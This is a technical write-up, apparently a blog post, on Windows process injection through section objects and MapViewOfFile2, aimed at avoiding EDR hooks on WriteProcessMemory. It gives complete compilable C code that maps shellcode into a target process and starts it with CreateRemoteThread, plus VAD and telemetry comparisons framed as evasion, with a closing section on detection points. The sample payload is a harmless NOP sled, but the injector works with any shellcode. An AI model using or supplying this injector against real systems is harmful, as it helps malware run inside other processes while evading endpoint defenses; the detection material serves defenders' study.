WriteProcessMemory is the load-bearing detection point in most injection chains. EDRs hook it at the syscall boundary or in kernel via ETW. The call is explicit, the destination is a foreign address space, and the size is right there in the arguments. Removing it from the call graph is worth something.

MapViewOfFile2 does exactly that. Introduced in Windows 10 1703 (Creators Update), it maps an existing section object into an arbitrary process. You write shellcode into a local view of the section. The remote view of the same section shows the same physical pages. No cross-process write occurs.

How section objects work

A section object is a kernel object that represents a region of pageable physical memory. It is not tied to any one process’s address space. A process gets access by mapping a view: the kernel adds VAD entries in that process that map virtual addresses onto the section’s physical pages.

Two views of the same section share the same physical pages. Write through one view, the other sees the change immediately. This is how shared memory works, how the Win32 clipboard shares data, how image sections back ntdll.dll across all processes using the same physical pages.

Injecting via a section object exploits this: create a section, map a writable local view, write shellcode through that view, then map a second view into the target. The target’s view reflects the shellcode instantly. The only cross-process operation is the view mapping itself, not a data write.

The API

MapViewOfFile2 is declared in memoryapi.h (Windows 10 SDK) and requires OneCore.lib:

c
PVOID MapViewOfFile2(
    HANDLE  FileMappingObject,
    HANDLE  ProcessHandle,
    ULONG64 Offset,
    PVOID   BaseAddress,
    SIZE_T  ViewSize,
    ULONG   AllocationType,
    ULONG   PageProtection
);

FileMappingObject is a section handle open in the calling process. ProcessHandle is the target. The mapped view appears in ProcessHandle’s address space. The caller doesn’t write anything to that address space directly.

MapViewOfFile2 is an inline function defined in memoryapi.h. It calls MapViewOfFileNuma2, which calls NtMapViewOfSection. There is no export library entry for MapViewOfFile2 itself. NtMapViewOfSectionEx is used by MapViewOfFile3 (Windows 10 1803+), not MapViewOfFile2.

Implementation

c
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "OneCore.lib")

/*
 * InjectViaSection: map shellcode into a target process without WriteProcessMemory.
 *
 * pPayload     - shellcode bytes
 * payloadSize  - byte count, must be page-aligned or CreateFileMapping rounds up
 * hProcess     - target process handle (PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD)
 * ppRemote     - receives the remote view base address
 *
 * Returns TRUE on success, FALSE on failure (check GetLastError).
 */
static BOOL InjectViaSection(
    PBYTE   pPayload,
    SIZE_T  payloadSize,
    HANDLE  hProcess,
    PVOID  *ppRemote)
{
    HANDLE hSection       = NULL;
    PVOID  pLocalView     = NULL;
    PVOID  pRemoteView    = NULL;
    BOOL   success        = FALSE;

    /* Round payload size up to page boundary */
    SIZE_T mappingSize = (payloadSize + 0xFFF) & ~(SIZE_T)0xFFF;

    /*
     * Step 1: anonymous section with RWX.
     *
     * PAGE_EXECUTE_READWRITE on the section permits both a writable
     * local view and an executable remote view. The section itself
     * never appears in any process's VAD until a view is mapped.
     */
    hSection = CreateFileMapping(
        INVALID_HANDLE_VALUE,
        NULL,
        PAGE_EXECUTE_READWRITE,
        (DWORD)(mappingSize >> 32),
        (DWORD)(mappingSize & 0xFFFFFFFF),
        NULL);
    if (!hSection) {
        fprintf(stderr, "[!] CreateFileMapping: %lu\n", GetLastError());
        goto cleanup;
    }

    /*
     * Step 2: map a writable local view.
     *
     * FILE_MAP_WRITE | FILE_MAP_EXECUTE gives RWX access to this mapping
     * in the current process. We write shellcode through this view.
     */
    pLocalView = MapViewOfFile(
        hSection,
        FILE_MAP_WRITE | FILE_MAP_EXECUTE,
        0, 0,
        mappingSize);
    if (!pLocalView) {
        fprintf(stderr, "[!] MapViewOfFile: %lu\n", GetLastError());
        goto cleanup;
    }

    /* Step 3: write shellcode locally -- no cross-process write */
    memcpy(pLocalView, pPayload, payloadSize);

    printf("[*] local view  @ %p (RWX, this process)\n", pLocalView);

    /*
     * Step 4: map the same section into the target process.
     *
     * AllocationType 0: no special allocation flags. MEM_DIFFERENT_IMAGE_BASE_OK
     * is for PE image sections that need relocation; anonymous sections don't need it,
     * and behavior when passing it to an anonymous section is undefined.
     *
     * BaseAddress NULL: kernel picks a free region in the target.
     *
     * PAGE_EXECUTE_READ: the remote view is RX only. No write access
     * in the target means no writable-executable page there.
     */
    pRemoteView = MapViewOfFile2(
        hSection,
        hProcess,
        0,
        NULL,
        0,
        0,
        PAGE_EXECUTE_READ);
    if (!pRemoteView) {
        fprintf(stderr, "[!] MapViewOfFile2: %lu\n", GetLastError());
        goto cleanup;
    }

    printf("[*] remote view @ %p (RX, target process)\n", pRemoteView);

    *ppRemote = pRemoteView;
    success   = TRUE;

cleanup:
    /*
     * Step 6: unmap local view and close the section handle.
     * (Steps 5 and 6 span the call boundary: cleanup runs here inside
     *  InjectViaSection; step 5, queue execution, runs in main() after
     *  this function returns.)
     *
     * The remote view is still live -- it keeps a reference on the
     * section object. Closing hSection here doesn't unmap the remote
     * view; the section object stays alive until all views are closed.
     */
    if (pLocalView)
        UnmapViewOfFile(pLocalView);
    if (hSection)
        CloseHandle(hSection);

    return success;
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        fprintf(stderr, "usage: %s <pid>\n", argv[0]);
        return 1;
    }

    DWORD pid = (DWORD)strtoul(argv[1], NULL, 10);

    /* x64 NOP sled + ret: harmless test payload */
    BYTE payload[] = {
        0x90, 0x90, 0x90, 0x90,
        0x90, 0x90, 0x90, 0x90,
        0xC3
    };

    HANDLE hProcess = OpenProcess(
        PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD |
        PROCESS_QUERY_INFORMATION,
        FALSE, pid);
    if (!hProcess) {
        fprintf(stderr, "[!] OpenProcess(%lu): %lu\n", pid, GetLastError());
        return 1;
    }

    PVOID pRemote = NULL;
    if (!InjectViaSection(payload, sizeof(payload), hProcess, &pRemote)) {
        CloseHandle(hProcess);
        return 1;
    }

    /* Step 5: start a remote thread at the mapped view */
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)pRemote,
                                        NULL, 0, NULL);
    if (!hThread) {
        fprintf(stderr, "[!] CreateRemoteThread: %lu\n", GetLastError());
        CloseHandle(hProcess);
        return 1;
    }
    printf("[*] thread %lu started at %p\n", GetThreadId(hThread), pRemote);
    WaitForSingleObject(hThread, 5000);
    CloseHandle(hThread);

    CloseHandle(hProcess);
    return 0;
}

InjectViaSection never calls WriteProcessMemory. The shellcode moves from the local memcpy call (entirely within the current process) to the target’s address space via the shared physical pages of the section.

The PAGE_EXECUTE_READ on the remote view is deliberate. The source code this technique is often adapted from uses PAGE_EXECUTE_READWRITE for the remote view. That’s unnecessary: the shellcode is already written through the local view before MapViewOfFile2 is called. The remote view only needs execute. RWX in the target is a scanner signal that this technique otherwise avoids.

What the VAD looks like

After MapViewOfFile2 returns, the target’s VAD contains a new entry. Compare it against classic VirtualAllocEx injection:

text
Classic VirtualAllocEx:
  BaseAddress:   0x1a000000
  RegionSize:    0x1000
  State:         MEM_COMMIT
  Protect:       PAGE_EXECUTE_READWRITE
  Type:          MEM_PRIVATE       <-- no backing object

MapViewOfFile2:
  BaseAddress:   0x1a000000
  RegionSize:    0x1000
  State:         MEM_COMMIT
  Protect:       PAGE_EXECUTE_READ
  Type:          MEM_MAPPED        <-- section-backed

MEM_PRIVATE means the pages are backed by the pagefile with no associated object. It’s the expected type for heap and stack regions. An anonymous section shows as MEM_MAPPED. It still has no file path (this isn’t an image or mmap’d file), but it’s section-backed rather than private.

Scanners checking for MEM_PRIVATE | PAGE_EXECUTE_* don’t flag MEM_MAPPED pages. Those checking for any executable non-image region will still catch it: MEM_MAPPED with PAGE_EXECUTE_READ and no backing file is still unusual. This is a partial improvement, not an invisibility cloak.

section object: two views, one set of physical pagessection objectphysical pagesshellcode bytesinjector processlocal view (RWX)memcpy writes hereVAD: MEM_MAPPEDtarget processremote view (RX)no write neededVAD: MEM_MAPPEDMapViewOfFileMapViewOfFile2WriteProcessMemorynever calledshellcode visibleimmediately1. CreateFileMapping2. MapViewOfFile (local, RWX)3. memcpy shellcode4. MapViewOfFile2 (remote, RX)5. queue execution6. UnmapViewOfFile + CloseHandleno WPMno VirtualAllocExno VirtualProtectExremote VAD: MEM_MAPPED

Handle semantics and the local view

The local view can be unmapped before execution starts in the target. The section object holds the physical pages alive. Closing the section handle after MapViewOfFile2 returns is also safe: the remote view holds a reference on the section object. The reference count drops to zero only when the last view is unmapped.

The UnmapViewOfFile + CloseHandle in cleanup above happens before the target thread starts. The target’s remote view remains valid. This is correct behavior, not a race.

The source implementation I adapted this from skips UnmapViewOfFile entirely and relies on process exit to clean up the local view. That works, but leaves the local RWX mapping in the injector’s VAD for the duration of execution.

Comparison to VirtualAllocEx + WriteProcessMemory

Classic allocation-based injection (covered in process injection early-bird post) and the section-based approach generate different telemetry:

OperationClassicSection-based
VirtualAllocEx in targetyesno
WriteProcessMemoryyesno
NtCreateSection / CreateFileMappingnoyes
NtMapViewOfSection (MapViewOfFile2) on foreign processnoyes
Remote VAD typeMEM_PRIVATEMEM_MAPPED
Remote page protectionPAGE_EXECUTE_READWRITEPAGE_EXECUTE_READ

Section creation fires an ETW event. NtMapViewOfSection resolves both the section handle and the target process handle via ObReferenceObjectByHandle, then calls MmMapViewOfSection to insert the mapping into the target’s address space. The cross-process target is visible to any kernel-mode component that intercepts NtMapViewOfSection, because the target EPROCESS is a direct parameter to MmMapViewOfSection.

The net effect: different sensor coverage catches this. Sensors watching WriteProcessMemory specifically miss it. ETW-based sensors watching object operations catch section creation. Kernel-mode hooks on NtMapViewOfSection catch the cross-process map.

Detection

WriteProcessMemory. Not called. Hooks on WPM don’t fire.

NtCreateSection / CreateFileMapping. Creating an anonymous executable section fires a kernel ETW event. The section’s MaximumSize and the protection flags are observable to ETW consumers on the NT kernel session. PAGE_EXECUTE_READWRITE on an anonymous section is not something most legitimate code creates.

NtMapViewOfSection on a foreign process. This is the distinguishing call. The call takes a process handle and a section handle. Sysmon doesn’t have a dedicated event for this, but full ETW pipelines may capture it. EDRs with kernel-mode hooks on NtMapViewOfSection see the target EPROCESS pointer in the call parameters.

CreateRemoteThread. If you use CreateRemoteThread for execution, Sysmon Event 8 fires. The StartAddress field shows the remote view address. The type of the memory at that address is MEM_MAPPED, not MEM_PRIVATE. That’s an unusual start address for a remote thread.

VAD scan. The target process has an executable MEM_MAPPED region with no backing file name. VirtualQuery on it returns an empty MappedFileName (unlike a file-backed section or an image section). An executable anonymous mapped region is not normal in user-mode processes.

Memory content scan. The shellcode bytes are in the section’s physical pages. Any scanner that reads the bytes at the remote view address sees the shellcode directly.

Comparison to function stomping

Function stomping avoids private executable allocations by writing into existing image-backed memory. The VAD entry for the stomped function shows MEM_IMAGE with no change to its type. This technique goes the other direction: it avoids the cross-process write entirely, accepting a MEM_MAPPED VAD entry in the target.

Both avoid PAGE_EXECUTE_READWRITE private pages in the target. The difference is attribution: MEM_IMAGE pages are attributed to a known signed DLL, which is better cover. MEM_MAPPED anonymous pages have no attribution at all, which some scanners treat as equally suspicious.

Function stomping breaks entirely on ACG (Arbitrary Code Guard, ProcessDynamicCodePolicy) because VirtualProtectEx on image-backed memory fails. This technique doesn’t touch existing image pages and doesn’t require protection changes, so ACG doesn’t interfere with the mapping step. The execution step (remote thread or APC) is unaffected by ACG.

Build note

MapViewOfFile2 is an inline function in memoryapi.h with no direct DLL export. It calls MapViewOfFileNuma2, which is exported from kernelbase.dll. Add #pragma comment(lib, "OneCore.lib") or pass OneCore.lib to the linker to resolve MapViewOfFileNuma2. Without it, the linker reports an unresolved external against _imp__MapViewOfFileNuma2.

Source

Full compilable implementation: inject_section.c